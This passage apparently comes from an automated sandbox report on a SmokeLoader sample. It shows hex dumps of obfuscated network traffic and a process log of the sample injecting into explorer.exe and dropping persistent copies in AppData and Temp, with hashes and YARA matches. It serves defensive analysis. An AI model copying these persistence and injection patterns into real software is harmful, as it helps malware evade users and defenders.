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2021-10-29 15:55:36 UTC 2833 IN Data Raw: 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 78 74 20 78 20 74 6b 20 78 20 4f 4f 6b 
20 78 20 51 6b 20 78 20 6b 74 20 78 20 4b 51 20 78 20 4f 4f 6b 20 78 20 51 6b 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 
52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 59 45 20 78 20 4b 6b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 
78 20 4f 4f 59 20 78 20 51 51 20 78 20 4f 6f 4f 20 78 20 74 45 20 78 20 4f 78 45 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 
20 6b 52 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 51 6b 20 78 20 4f 78 
52 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 74 6b 20 78 20 4f 78 59 20 78 20 59 6f 20 78 20 4f 4f 51 20 78 20 74 52 20 
78 20 4f 78 52 20 78 20 52 59 20 78 20 4f 4f 74 20 
Data Ascii:  YO x Oxx x Ooo x tR x Oxt x tk x OOk x Qk x kt x KQ x OOk x Qk x OxY x KQ x Rk x Qk x Yx x YE x Kk x QQ 
x OxQ x Yt x OOY x QQ x OoO x tE x OxE x Oxx x OxQ x kR x OoO x QQ x Yx x Oxk x OOk x Qk x OxR x Kk x OxY x tk x 
OxY x Yo x OOQ x tR x OxR x RY x OOt 

2021-10-29 15:55:36 UTC 2837 IN Data Raw: 51 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 
78 74 20 78 20 6b 4b 20 78 20 4b 51 20 78 20 74 74 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 4f 4f 20 78 
20 74 4b 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 78 74 20 
78 20 59 52 20 78 20 51 51 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 51 51 20 78 20 74 4f 20 78 20 59 74 
20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 6b 4b 20 78 20 4b 51 20 78 
20 74 74 20 78 20 4f 78 45 20 78 20 6b 45 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 59 74 20 78 20 74 45 20 78 20 4f 4f 78 
20 78 20 4f 4f 52 20 78 20 4f 78 6b 20 78 20 74 74 20 
Data Ascii: Q x tO x Yt x OoO x Oxx x tO x kR x Oxt x kK x KQ x tt x KE x Rk x kO x OOO x tK x Rt x kO x Kk x tY x Rt x 
kO x Oxt x YR x QQ x YO x kR x OOQ x QQ x tO x Yt x OoO x Oxx x tO x kR x Oxt x kK x KQ x tt x OxE x kE x kt x kO x 
Yt x tE x OOx x OOR x Oxk x tt 

2021-10-29 15:55:36 UTC 2841 IN Data Raw: 78 20 4f 4f 51 20 78 20 6b 4b 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 78 45 
20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 
20 6b 51 20 78 20 74 45 20 78 20 59 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 6b 78 20 78 20 74 74 
20 78 20 52 59 20 78 20 4f 78 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 
52 52 20 78 20 74 59 20 78 20 74 45 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 
78 20 74 74 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 78 6b 20 78 20 4f 
78 45 20 78 20 4f 78 4b 20 78 20 4f 78 74 20 78 20 4f 78 45 
Data Ascii: x OOQ x kK x Rk x RY x kk x RR x OxE x OOO x OOK x RR x OxE x RQ x RQ x RY x kQ x tE x YO x RY x O
xE x RQ x kx x tt x RY x Oxt x Rk x RY x kO x Rt x OxE x RR x tY x tE x Rt x OxE x RY x RY x OOQ x tt x kK x RY x tk x 
RR x OxE x Oxk x OxE x OxK x Oxt x OxE

2021-10-29 15:55:36 UTC 2846 IN Data Raw: 74 20 78 20 59 4b 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 4f 78 59 20 78 20 59 45 20 78 20 4f 4f 6b 20 78 20 
74 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 4f 78 74 
20 78 20 59 78 20 78 20 4f 4f 74 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 4f 78 6f 20 78 20 
4f 78 74 20 78 20 59 4b 20 78 20 4b 6b 20 78 20 4f 78 6f 20 78 20 74 78 20 78 20 74 51 20 78 20 6b 4f 20 78 20 6b 51 20 
78 20 59 52 20 78 20 59 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 78 20 78 20 6b 6b 20 78 20 59 78 20 78 20 74 51 20 78 20 4f 
78 59 20 78 20 74 6f 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 51 20 78 20 4f 4f 52 20 78 20 6b 45 20 78 20 59 74 20 
78 20 4f 4f 4b 20 78 20 4f 78 6b 20 78 20 74 78 20 78 
Data Ascii: t x YK x kO x kk x OxY x YE x OOk x tE x Rk x kx x kY x Oxx x Qk x OxE x Oxt x Yx x OOt x OoO x QQ x to x 
kO x Oxo x Oxt x YK x Kk x Oxo x tx x tQ x kO x kQ x YR x YR x Ooo x OOx x kk x Yx x tQ x OxY x to x kR x YO x OOQ x 
OOR x kE x Yt x OOK x Oxk x tx x

2021-10-29 15:55:36 UTC 2850 IN Data Raw: 20 78 20 4f 4f 6b 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 52 6b 20 78 20 
4f 6f 6f 20 78 20 74 4f 20 78 20 52 6b 20 78 20 74 74 20 78 20 74 45 20 78 20 6b 6f 20 78 20 51 6b 20 78 20 59 45 20 78 
20 59 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 4f 4f 4b 20 78 20 51 78 20 78 20 6b 6b 20 78 20 4f 78 
74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 59 4b 20 78 
20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 6b 4f 20 78 20 4f 4f 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 
6f 20 78 20 4f 4f 6f 20 78 20 51 74 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 52 51 20 78 20 59 45 20 78 20 74 74 20 78 
20 51 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 
Data Ascii:  x OOk x OOY x RY x OOk x Oox x Rk x Ooo x tO x Rk x tt x tE x ko x Qk x YE x YO x RY x RY x OxK x OOK x 
Qx x kk x Oxt x RY x RY x Oox x Qx x Qt x OxY x YK x OOQ x OOQ x kO x OOx x OxR x Kk x ko x ko x OOo x Qt x tE x 
Oxk x RQ x YE x tt x QQ x RR x OOx x 

2021-10-29 15:55:36 UTC 2854 IN Data Raw: 20 78 20 6b 4f 20 78 20 74 45 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 78 20 78 20 6b 4f 20 
78 20 4f 6f 78 20 78 20 6b 51 20 78 20 4f 4f 59 20 78 20 6b 59 20 78 20 6b 4f 20 78 20 59 59 20 78 20 51 6b 20 78 20 74 
59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 59 4b 20 78 20 51 74 20 78 20 51 78 20 78 20 4f 6f 4f 20 78 20 59 45 20 78 20 
6b 59 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 51 6b 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 74 6f 20 
78 20 6b 6b 20 78 20 74 4f 20 78 20 4f 4f 45 20 78 20 6b 4f 20 78 20 59 45 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 4f 4f 45 
20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 78 74 20 78 20 6b 6f 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 59 6f 20 78 20 
52 51 20 78 20 4f 4f 52 20 78 20 4f 78 59 20 78 
Data Ascii:  x kO x tE x Qx x kY x ko x OOx x kO x Oox x kQ x OOY x kY x kO x YY x Qk x tY x to x tK x YK x Qt x Qx x Oo
O x YE x kY x OOQ x OOQ x tx x Qk x KQ x OOo x to x kk x tO x OOE x kO x YE x kO x kQ x OOE x kR x ko x Oxt x ko x 
RR x OOE x Yo x RQ x OOR x OxY x

2021-10-29 15:55:36 UTC 2857 IN Data Raw: 4f 20 78 20 6b 59 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 4f 
4f 6f 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 
20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 59 78 20 78 20 59 45 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 
6b 6f 20 78 20 4f 4f 4f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 74 6f 20 
78 20 4f 78 74 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 59 4f 20 78 20 74 4b 20 78 20 4f 4f 59 20 78 20 74 74 20 78 20 
74 6f 20 78 20 6b 51 20 78 20 74 4f 20 78 20 52 74 20 78 20 52 74 20 78 20 4f 4f 59 20 78 20 74 4f 20 78 20 52 59 20 78 
20 6b 4f 20 78 20 6b 59 20 78 20 74 78 20 78 20 52 
Data Ascii: O x kY x tk x Oxk x QQ x OOx x ko x OOo x Qx x OxQ x Oxk x OxR x kQ x kk x ko x OOo x Qk x Yx x YE x RR 
x Oxx x kk x ko x OOO x Qk x YO x tK x OOo x Oxx x to x Oxt x OOt x kQ x YO x tK x OOY x tt x to x kQ x tO x Rt x Rt x 
OOY x tO x RY x kO x kY x tx x R

2021-10-29 15:55:36 UTC 2868 IN Data Raw: 20 78 20 52 74 20 78 20 52 51 20 78 20 52 6b 20 78 20 4b 6b 20 78 20 51 74 20 78 20 74 6b 20 78 20 6b 6b 
20 78 20 74 45 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 6b 51 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 
74 6b 20 78 20 52 59 20 78 20 6b 4b 20 78 20 51 51 20 78 20 6b 6b 20 78 20 59 4b 20 78 20 52 74 20 78 20 6b 4f 20 78 
20 6b 4f 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 
20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 
20 52 59 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 
78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 52 51 20 78 20 74 52 20 
Data Ascii:  x Rt x RQ x Rk x Kk x Qt x tk x kk x tE x OOQ x tx x kQ x tK x OxR x tt x tk x RY x kK x QQ x kk x YK x Rt x 
kO x kO x OxE x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x OxK x OOk x QQ x tk x RY x kO x RQ x tt x RR x kO x 
RY x OOQ x Oxo x kK x RQ x tR 
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2021-10-29 15:55:36 UTC 2873 IN Data Raw: 6b 20 78 20 4f 6f 4f 20 78 20 74 6f 20 78 20 74 51 20 78 20 74 6f 20 78 20 51 74 20 78 20 4f 6f 4f 20 78 20 4f 
78 51 20 78 20 59 59 20 78 20 4f 4f 4b 20 78 20 59 52 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 4f 4f 59 20 78 20 4f 78 4f 
20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 74 4b 20 78 20 59 45 20 78 20 59 59 20 78 20 4f 4f 4f 20 78 20 
74 6f 20 78 20 4f 4f 6b 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 59 52 20 78 20 4f 4f 4b 20 78 20 4f 4f 52 20 78 20 4b 74 
20 78 20 59 4b 20 78 20 4f 78 4f 20 78 20 6b 6b 20 78 20 6b 4f 20 78 20 51 78 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 20 
59 6f 20 78 20 52 6b 20 78 20 6b 6b 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 74 59 20 78 20 4b 51 20 78 20 4f 78 74 
20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 59 45 
Data Ascii: k x OoO x to x tQ x to x Qt x OoO x OxQ x YY x OOK x YR x OOQ x Kt x OOY x OxO x kR x OOt x YY x tK x 
YE x YY x OOO x to x OOk x Yo x OOk x YR x OOK x OOR x Kt x YK x OxO x kk x kO x Qx x KE x OOt x Yo x Rk x kk x 
OoO x Oxt x tY x KQ x Oxt x Rk x OxY x YE

2021-10-29 15:55:36 UTC 2889 IN Data Raw: 74 6b 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 78 20 78 
20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 4f 78 
78 20 78 20 52 74 20 78 20 59 45 20 78 20 4f 78 52 20 78 20 51 6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 
20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 
78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 
74 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 
20 52 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 51 
Data Ascii: tk x OOQ x tR x OOx x kR x Ooo x Qx x kk x tK x Kk x QQ x OOx x kR x Ooo x Oxx x Rt x YE x OxR x Qk x Yx 
x Kk x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x OxK x OOk x QQ x tk x RY x kO x RQ x tt x RR x kO x RY x Rk x 
OxE x OxE x tE x RR x RY x tO x KQ

2021-10-29 15:55:36 UTC 2900 IN Data Raw: 6b 20 78 20 51 6b 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 6f 20 78 20 4f 78 6b 20 78 20 4b 74 20 78 20 
74 59 20 78 20 4f 4f 4f 20 78 20 74 74 20 78 20 4f 4f 4f 20 78 20 6b 52 20 78 20 74 59 20 78 20 74 6b 20 78 20 74 59 20 
78 20 4b 45 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 51 78 20 78 20 
4f 78 78 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 51 78 20 78 20 6b 6f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 4f 20 78 20 52 
4f 20 78 20 78 20 51 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 78 20 4f 45 20 4f 6f 45 20 78 
20 4b 6b 20 78 20 4f 6f 59 20 78 20 4f 6f 45 20 78 20 
Data Ascii: k x Qk x tk x OOR x OOo x Oxk x Kt x tY x OOO x tt x OOO x kR x tY x tk x tY x KE x Rk x OxY x Oox x Oxk x 
QQ x Qx x Oxx x OOR x tk x Qx x ko x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RO x RO x x Q KR x OxO x 
Oox x OxO x x OE OoE x Kk x OoY x OoE x 

2021-10-29 15:55:36 UTC 2916 IN Data Raw: 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 51 
6b 20 78 20 4f 4f 51 20 78 20 4f 6f 78 20 78 20 45 74 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 4f 4f 45 
20 78 20 4f 4f 4b 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 78 59 20 
78 20 4f 4f 6b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6f 20 78 20 4f 4f 6b 20 78 20 45 74 20 78 20 4f 78 45 20 
78 20 45 74 20 78 20 4f 78 4b 20 78 20 4f 4f 59 20 78 20 4f 78 6b 20 78 20 4f 78 59 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 
78 20 4f 78 74 20 78 20 4f 4f 52 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 45 6f 20 78 
20 45 74 20 78 20 51 51 20 78 20 4f 78 
Data Ascii: x OOK x Et x OOx x Et x OxQ x OOY x Qk x OOQ x Oox x Et x Oxo x Et x Oxx x OOE x OOK x OxE x OOK x 
Et x OxY x Et x OxY x OOk x Oxt x OOE x OOo x OOk x Et x OxE x Et x OxK x OOY x Oxk x OxY x OOY x OOk x Oxt x 
OOR x OOk x OOO x Oxo x Et x Eo x Et x QQ x Ox

2021-10-29 15:55:36 UTC 2932 IN Data Raw: 4f 45 20 78 20 4f 4f 4f 20 78 20 4f 4f 6f 20 78 20 4f 6f 78 20 78 20 4f 4f 45 20 78 20 4f 4f 59 20 78 20 4f 78 45 
20 78 20 4f 6f 78 20 78 20 4f 6f 6f 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 45 20 78 20 45 74 20 
78 20 4f 4f 52 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 4f 78 78 20 78 
20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4f 4f 6f 20 78 20 4f 4f 45 20 78 20 
4f 4f 59 20 78 20 45 74 20 78 20 51 74 20 78 20 45 74 20 78 20 4f 4f 51 20 78 20 4f 4f 78 20 78 20 4f 6f 6f 20 78 20 4f 4f 6
f 20 78 20 4f 78 52 20 78 20 4f 4f 74 20 78 20 51 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 45 74 20 78 20 4f 4f 4b 
20 78 20 45 74 20 78 20 4f 78 4f 
Data Ascii: OE x OOO x OOo x Oox x OOE x OOY x OxE x Oox x Ooo x Oox x Qt x OOR x OxE x Et x OOR x Et x Oxk x 
OOY x QQ x OxE x Oxx x OOR x OOQ x OOO x OxY x Qk x OOo x OOE x OOY x Et x Qt x Et x OOQ x OOx x Ooo x 
OOo x OxR x OOt x Qk x OOk x OxK x Et x OOK x Et x OxO

2021-10-29 15:55:36 UTC 2948 IN Data Raw: 45 20 78 20 4b 6b 20 78 20 4f 6f 59 20 78 20 51 6f 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 4f 59 20 78 
20 4f 4f 52 20 78 20 4b 52 20 78 20 51 6b 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 
20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 6b 45 20 
78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 4b 
6b 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 
20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 52 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20
51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 
Data Ascii: E x Kk x OoY x Qo x OOR x OxO x OOY x OOR x KR x Qk x Qt x OOR x EK x Eo x Kt x kt x OxY x OOx x Oxx 
x OOO x OOQ x kE x OOR x Qt x OOR x OxO x Eo x EK x EK x Kk x EK x EK x Eo x Kt x kx x OOK x OxY x OOO x OOK 
x OxY x OOR x OoO x Rt x Oxk x Qt x OOY x OOY

2021-10-29 15:55:36 UTC 2964 IN Data Raw: 4f 20 78 20 6b 6f 20 78 20 59 4f 20 78 20 59 78 20 78 20 4b 52 20 78 20 52 51 20 78 20 6b 6b 20 78 20 52 51 
20 78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 4f 4f 20 78 20 
4f 78 6f 20 78 20 4f 78 59 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 45 20 78 20 4f 4f 78 20 78 20 4f 4f 59 20 78 20 
4f 4f 52 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 
78 4b 20 78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 74 20 78 20 6b 59 20 78 20 4f 4f 78 20 78 
20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 4f 78 4f 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 
4f 78 78 20 78 20 52 51 20 78 20 4f 4f 4b 20 78 
Data Ascii: O x ko x YO x Yx x KR x RQ x kk x RQ x EK x KK x Eo x EK x kx x OOK x OOO x Oxo x OxY x Oxk x OxO x tE 
x OOx x OOY x OOR x Qt x Oxk x Oxk x kx x Qt x OOR x OxK x EK x KK x Eo x EK x Et x kY x OOx x OxO x Oox x OOo 
x OxO x QQ x OOR x OxO x Oxx x RQ x OOK x

2021-10-29 15:55:36 UTC 2980 IN Data Raw: 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 6b 6b 20 78 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 
78 20 78 20 4f 78 4f 20 78 20 78 20 78 20 78 20 78 20 59 6f 20 78 20 6b 20 78 20 4f 20 78 20 6b 78 20 78 20 4f 4f 4b 20 
78 20 4f 4f 4f 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 78 4f 20 78 
20 4f 4f 4b 20 78 20 4f 4f 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 78 20 78 20 4b 6b 20 78 20 4b 
52 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 78 20 78 20 59 52 20 78 20 6b 
20 78 20 4f 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 4f 78 51 20 78 20 51 6b 20 78 20 
4f 78 6b 20 78 20 4f 6f 4f 20 78 20 45 6f 20 
Data Ascii: x OOO x OOK x OxO x kk x KR x OxO x Oox x OxO x x x x x Yo x k x O x kx x OOK x OOO x Oxx x OOt x QQ 
x OOR x kR x OxO x OOK x OOY x OxY x OOO x OOx x x x Kk x KR x Kk x KR x Kk x KR x Kk x x x YR x k x O x RY x 
OOY x OOY x OxO x OxQ x Qk x Oxk x OoO x Eo 

Timestamp
kBytes
transferred Direction Data
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Start time: 17:54:10

Start date: 29/10/2021

Path: C:\Users\user\Desktop\y8WngeDn4q.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\y8WngeDn4q.exe' 

Imagebase: 0x400000

File size: 347648 bytes

MD5 hash: 2BA5D1028F7BABCA366060BDE97BF482

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Start time: 17:54:16

Start date: 29/10/2021

Path: C:\Users\user\Desktop\y8WngeDn4q.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\y8WngeDn4q.exe' 

Imagebase: 0x400000

File size: 347648 bytes

MD5 hash: 2BA5D1028F7BABCA366060BDE97BF482

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000003.00000002.412091703.0000000002091000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000003.00000002.411806433.0000000000500000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Analysis Process: y8WngeDn4q.exe PID: 4892 Parent PID: 6112Analysis Process: y8WngeDn4q.exe PID: 4892 Parent PID: 6112

General

Analysis Process: y8WngeDn4q.exe PID: 6372 Parent PID: 4892Analysis Process: y8WngeDn4q.exe PID: 6372 Parent PID: 4892

General

Analysis Process: explorer.exe PID: 3440 Parent PID: 6372Analysis Process: explorer.exe PID: 3440 Parent PID: 6372
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File ActivitiesFile Activities

Start time: 17:54:23

Start date: 29/10/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6f22f0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
00000006.00000000.394109827.0000000002801000.00000020.00020000.sdmp, Author: 
Joe Security

Reputation: high

Show Windows behavior

Start time: 17:54:57

Start date: 29/10/2021

Path: C:\Users\user\AppData\Roaming\esdfufc

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\esdfufc

Imagebase: 0x400000

File size: 347648 bytes

MD5 hash: 2BA5D1028F7BABCA366060BDE97BF482

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, Joe Sandbox ML

Reputation: low

Start time: 17:55:00

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\8908.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\8908.exe

Imagebase: 0x400000

File size: 347648 bytes

MD5 hash: 2BA5D1028F7BABCA366060BDE97BF482

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Antivirus matches: Detection: 100%, Joe Sandbox ML

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

Analysis Process: esdfufc PID: 5704 Parent PID: 936Analysis Process: esdfufc PID: 5704 Parent PID: 936

General

Analysis Process: 8908.exe PID: 2288 Parent PID: 3440Analysis Process: 8908.exe PID: 2288 Parent PID: 3440

General
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Reputation: low

Start time: 17:55:08

Start date: 29/10/2021

Path: C:\Users\user\AppData\Roaming\esdfufc

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\esdfufc

Imagebase: 0x400000

File size: 347648 bytes

MD5 hash: 2BA5D1028F7BABCA366060BDE97BF482

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000000E.00000002.482521678.00000000005A1000.00000004.00020000.sdmp, Author: 
Joe Security
Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 
0000000E.00000002.482408758.00000000004F0000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Start time: 17:55:09

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\8908.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Local\Temp\8908.exe

Imagebase: 0x400000

File size: 347648 bytes

MD5 hash: 2BA5D1028F7BABCA366060BDE97BF482

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Start time: 17:55:19

Start date: 29/10/2021

Path: C:\Users\user\AppData\Local\Temp\37D8.exe

